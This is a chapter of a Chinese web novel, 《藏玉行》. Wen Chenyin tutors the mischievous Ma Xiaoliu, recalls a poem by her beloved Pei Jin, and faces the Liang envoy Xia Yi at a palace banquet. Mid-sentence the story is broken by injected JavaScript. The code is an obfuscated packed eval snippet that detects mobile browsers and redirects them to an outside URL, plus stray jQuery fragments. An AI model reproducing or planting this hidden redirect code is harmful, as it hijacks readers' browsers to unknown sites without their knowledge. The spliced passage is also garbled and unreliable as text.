10. 旧诗
作品:《藏玉行》 温沉吟之所以会安排读书一事,只是希望马小六能老老实实地呆在府中,别去外面闹事,并不指望他在短短几日内能真有什么长进,因此给到他的书也都浅显易懂。
没想到马小六却是连读书之事也不安分,总是变着法子闹腾生事和她唱反调。
读到了卧薪尝胆的典故,他便满脸凄切地表示自己闯荡江湖穷困潦倒之时,也因为实在太饿,去屠户家里偷吃过苦胆。
然而吃下之后,不仅无法像越王勾践一样被激发斗志,还因上吐下泻了好几日,越发自轻自怜,感叹人世不公;
温沉吟担心这一类的故事会勾起他的伤心事,于是换了几本介绍美人的野史传记给他打发时间。
不料读到西施的故事,他又开始大放厥词,质疑范蠡亲自将自己心爱的女人献与旁人,活脱脱就是个负心汉,不仅辜负了昭君对他的深情厚谊,更配不上他千古倜傥的好名声。
最初几日,温沉吟只当他是学识粗陋,难晓大义,于是还会耐着性子和他解释一番这些故事背后藏着的道理,到了后面,当她意识到马小六只是在没事找事,把和她辩嘴当乐趣后,干脆就闭口不言,任由他自说自话地在那发表狂言谬语。
唯独有一次,马小六因为闹腾太过,手舞足蹈之间打翻了砚台,将墨汁撒在了书本上。
原本一直对他视若无睹的温沉吟见状瞬间变了脸色,没等马小六有所反应,就迅速抢过了一卷书本,用力擦拭了起来。
只是墨迹落下之后,很快就渗入纸页,接连晕开。
无论她如何努力擦拭,终究还是留下了一片黑黑的印子。
眼见那本书终究是被墨迹所污,温沉吟脸色愠怒,似乎要出声怒斥。
然而当她的目光落在对方那张满是茫然的脸上时,最终还是泄气一般,隐忍着没有吭声。
马小六虽然胆大妄为,却也懂得察言观色。
相识至今,他也已经知道温沉吟虽是习惯了喜怒不行于色,平日里自己再是胡闹也好,只要不触及与裴瑾相关之事,她都不会明显地表露自己的情绪。
如今见她面色凝重,胸膛重重起伏着,就连一双眼睛也因为气愤微微泛红,便知道自己大概是真的惹恼了她。
于是他也赶紧安静下来,小心翼翼地把那本书拿到手上,认真查看了一番。
被墨汁沾染的部分其实并不大,也并不会影响到内容的阅读。
仔细看来,只有几行作为批注的小字变得有些模糊。
长长的一阵沉默后,马小六慢慢凑近她的身旁,声音里带上了几分讨好:“对不起,我不是故意要弄脏你的书的。若是市面上还买得到,我买一本陪你好不好?”
温沉吟双眼微阖,轻轻喘了一口气,也不知是因为他那小心翼翼的态度而怒气稍减,还是根本不想与他多费唇舌:“罢了,这本书也不是什么罕见物。以后你小心一些便是了。”
听她口气平静,似乎真的没打算再追究下去,马小六心下一松,胆子也跟着大了起来,当即指着那几行被墨迹沾染了的小字,不动声色地吹捧道:“对了,这首诗是你写的吗?我刚读了一遍,觉得这本书里就它写得最好!”
对于他那显而易见的讨好行为,温沉吟只觉得嫌弃,就连口气也带上了几分嘲弄:“你喜欢?”
“当然!”
“那你最喜欢哪一句?究竟为何喜欢?”
“……”
在他瞠目结舌的反应中,温沉吟将书重新拿了过来,看向了那几行已然模糊不清的小字,轻声念了出来:“血浸吴钩霜浸瞳,半旗残月压雕弓。匣中尚有合欢结,不勒燕然便作烽……这首诗写的是将士出征前不破楼兰终不还的豪情壮志,以及对心上人记挂之情,你若喜欢,我便再找一些这样的诗句给你瞧瞧。”
听闻自己不过随口拍了句马屁,居然又讨来了新的书目,马小六赶紧讪笑了起来:“那倒是不用麻烦了,我就是觉得吧……这首诗好是好,就是又是流血又是残月的感觉不太吉利。说起来,你一个身份高贵的富家小姐,怎么会喜欢读这种诗?像你这样的姑娘,不是都喜欢读一些《女则》《女训》之类的书么?”
温沉吟目光微垂,似是不想再解释。
但在对方一脸好奇的注视下,终究还是哼了个声音出来:“因为这首诗,是瑾哥写的。”
马小六闻言一愣:“你是说……云麾将军?”
“嗯……”
话题既然已经被挑起,温沉吟也就继续说了下去:“当年他才十七岁,却已经要跟随父亲去北境驻守。大概是临行之前颇有感触,便写下这首诗。”
马小六轻轻“哦”了一声,目光落向了眼前的书本:“这么说来,这本书也是云麾将军的?那怎么会在你这里?”
温沉吟被他的问句勾起了回忆,脸上的表情也变得温柔:“很多年前,因为机缘巧合,我和瑾哥曾在一起念过书。只是没过多久,念书的敌方没有,他也离开帝都,去了北境……作为纪念,他便把这本书送给了我。”
“原来你们还在一起念过书啊,这就难怪了……”
马小六点了点头,似是也陷入到了某种回忆。
许久之后,他再次开口,声音里却多出了几分试探:“你说这首诗里,写了对心上人的记挂,那是不是说,云麾将军从那个时候就已经喜欢你了?”
“……”
“那你呢?你也是从那个时候开始喜欢他的吗?”
这番接连不断的追问实在是太冒犯,太失礼了。
但马小六那认真又急切地模样,看上去却不像是在八卦,而是真心实意想要得到一个答案。
一时间,温沉吟也分不清自己究竟是羞赧还是窘迫,只能装作没听到一般,抬眼看向了窗外。
马小六等了一阵不见回应,似是有些失望,最后只能拿着书本,重新走回了书桌旁。
那天下午,向来聒噪的马小六很是难得的一直保持着安静,只是默默翻阅着手里的书本,像是想要从那些零散的批注中,找出某些被时光掩埋的秘密。
温沉吟远远坐在窗下,看着他满是专注的模样,心中翻涌着的却是有关于那个少年的回忆。
只是庭前花谢了,行云散后,物是人非。
如今记忆犹在,那个写下“匣中尚有合欢结,不勒燕然便作烽”的少年,却已经不在她的身旁了。
波澜不惊的日子过了十余日,凉国使团入朝觐见的日子终于还是到来了。
使团入城那一日,一辆辆载满了奇珍异宝和野禽异兽的马车从天启城的主街尚鱼贯而过,毫不吝啬地向燕国子民炫耀着凉国的奢华与富有。
为首的使节身着金银丝线琇织而成的长袍,神色肃然地端坐在高大的白色骏马上,随着马蹄点地,一人一马仿佛踏云而行,所到之处,便会引发阵阵惊呼。
这样一个声势浩大,且充满了异国风情的使团队伍自然在燕国百姓之中引发了不少议论,即便是在温府之中,下人们聊起此事时,也都显得兴致勃勃。
只是温沉吟向来治府严厉,一番交代之后,下人们再有兴趣也好,也没人敢去凑这个热闹。
偏偏只有马小六,在听到消息之后立马蠢蠢欲动起来,一心想要出门瞧瞧。
温沉吟赔上了自己时间精力,守着他在府中老老实实地呆到十几天,自然不会让他在如此紧要的关头出门生事。
因此面对对方的恳求,她不仅毫不留情的表示了拒绝,还特意叮嘱了卫宁,要将他仔细看牢。
原本她以为,只要马小六不主动生事,温府的平静便能保持得久一点。
不料凉国使团的觐见仪式结束才没多久,宫中便有消息传来,称贵妃娘娘为了迎接母国使团的到来,特意设下私宴,并邀请了诸多宾客,为远道而来的使臣们接风洗尘。
而温沉吟和温珩的名字,都毫不意外地出现在了受邀宾客的名单之中。
虽然很清楚银骊姬此举是醉翁之意不在酒,如此大张旗鼓的一番折腾,无非是想替夏翌创造机会与燕国
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221103|181521||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的权臣子嗣们结交,但对方毕竟地位尊贵,又打着和平交流幌子,她再是不情愿也好,终究还是收拾打扮了一番,老老实实地与温珩一起进了宫。
当日的私宴设在御湖旁的澄霁楼内,魏栩明未曾出席的情况下,身为贵妃的银骊姬自然成为了宴会的主角。
众星捧月之间,银骊姬显然也没忘记自己的使命,宴席开始没多久,便笑语晏晏的表示:“世子此次前来,除了朝见陛下,代表大凉皇帝以示两国交好之心外,更是希望感受一下燕国的人情风物。在座的各位都是年轻一代中的翘楚,世子早已心生憧憬,想必大家熟识之后,一定是会很多话可以聊……”
在她满是热情的介绍声中,一位身材魁梧的青年男子很快站了起来。
温沉吟虽说早已听说过夏翌的名字,却从未亲眼见过其人,此时见他起身,便抬起眼睛朝着他的方向瞧了瞧。
虽说同样出身于武将世家,但比起身形轻灵,举止潇洒的裴瑾,夏翌显然要壮实的多,落坐之时还不觉有异,起身之后却是膀大腰圆,十分魁梧。
眼下即便身着华服,却也难掩一身的悍莽之气,从那肌肉虬结、几乎要将肩袖撑破的手臂来看,显然练就了一身过硬的外家功夫。
凉国气候苦寒,为了抵御风霜和低温,男子大多生得彪悍健硕,但如夏翌这般气势拔山扛鼎之人,却也十分罕见。
在他起身之后,在座的宾客们都脸色微变,暗自估量着若是在战场上与此人相见,胜算究竟能有几分。
夏翌像是对现场的反应很是满意,敷衍着说了几句场面话后,便示意侍从们将事先准备好的礼物抬了上来,再一一送到了众人手中。
温沉吟对这些东西并无兴趣,礼盒奉上之后随意看了看,发现是一面镶金嵌玉的青铜镜后,便随手放在了一边。
在场的世家子弟们虽说大多心怀警惕,但既然收了礼物,又有贵妃在场,一个个都很快做起了场面功夫。
觥筹交错之间,气氛也很快热闹了起来。
温沉吟实在厌烦于应付这样的场面,静坐了一阵,正琢磨着该如何找个借口,才能早点退场,随着光线一暗,一道人影由远及近,已经径直站定在她身前:这位便是温统领家的小姐吧?”
温沉吟没料到众目睽睽之下,夏翌竟竟然会主动找上自己,微愣之下很快站起身来,不卑不亢地应道:“小女温氏,不知世子有何指教?”
夏翌紧盯着她,面色似有不满:“指教倒是没有,只是看温小姐方才的反应,似是小王所赠的礼物不太合心意?”
温沉吟不知他是有心找事,还是真的误会了,只能赶紧解释道:“世子误会了。凉国盛产青铜,制造工艺也出类拔萃。这面青铜镜镶金嵌玉、打磨精巧,一看便知是能工巧匠精心打造之物。承蒙世子相赠,小女十分感激。”
夏翌哼声一笑,还没来得及接话,一直在远处留意着双方动向的银骊姬已经笑着开口了:“世子远在大凉,可能还不知道,阿吟虽是女子,却向来不喜欢金银玉器这些凡俗之物……俗话说,送礼讲究的是一个投其所好,所以你的这份礼虽然用心,但却实在算不上好。”
这番话她虽然说得笑语晏晏,像是在开玩笑,却在不动声色之间,将温沉吟推入了风暴的中心。
一时间,在场的宾客都嗅出了山雨欲来前的气息,一个个屏息凝神,放下了酒杯,满心紧张紧张的观望起了眼前的局势。
夏翌却显然没打算再给温沉吟缓和气氛的机会,听完银骊姬的话后,很快换上了一副若有所思的表情:“贵妃娘娘所言极是,如此说来,倒是小王失礼了。只是小王到来之前,便已听闻过温小姐美名,此番有缘得见,小王也是报了极大的诚意……”
话说到这里,他抬起右手,轻轻一挥。
顷刻之间,候在一旁的侍从已经将一只红色的锦盒捧了上来。
夏翌接在手中,将盒盖缓缓掀起。
随着微光一闪,一颗鸽子蛋大小的明珠赫然出现在众人眼前。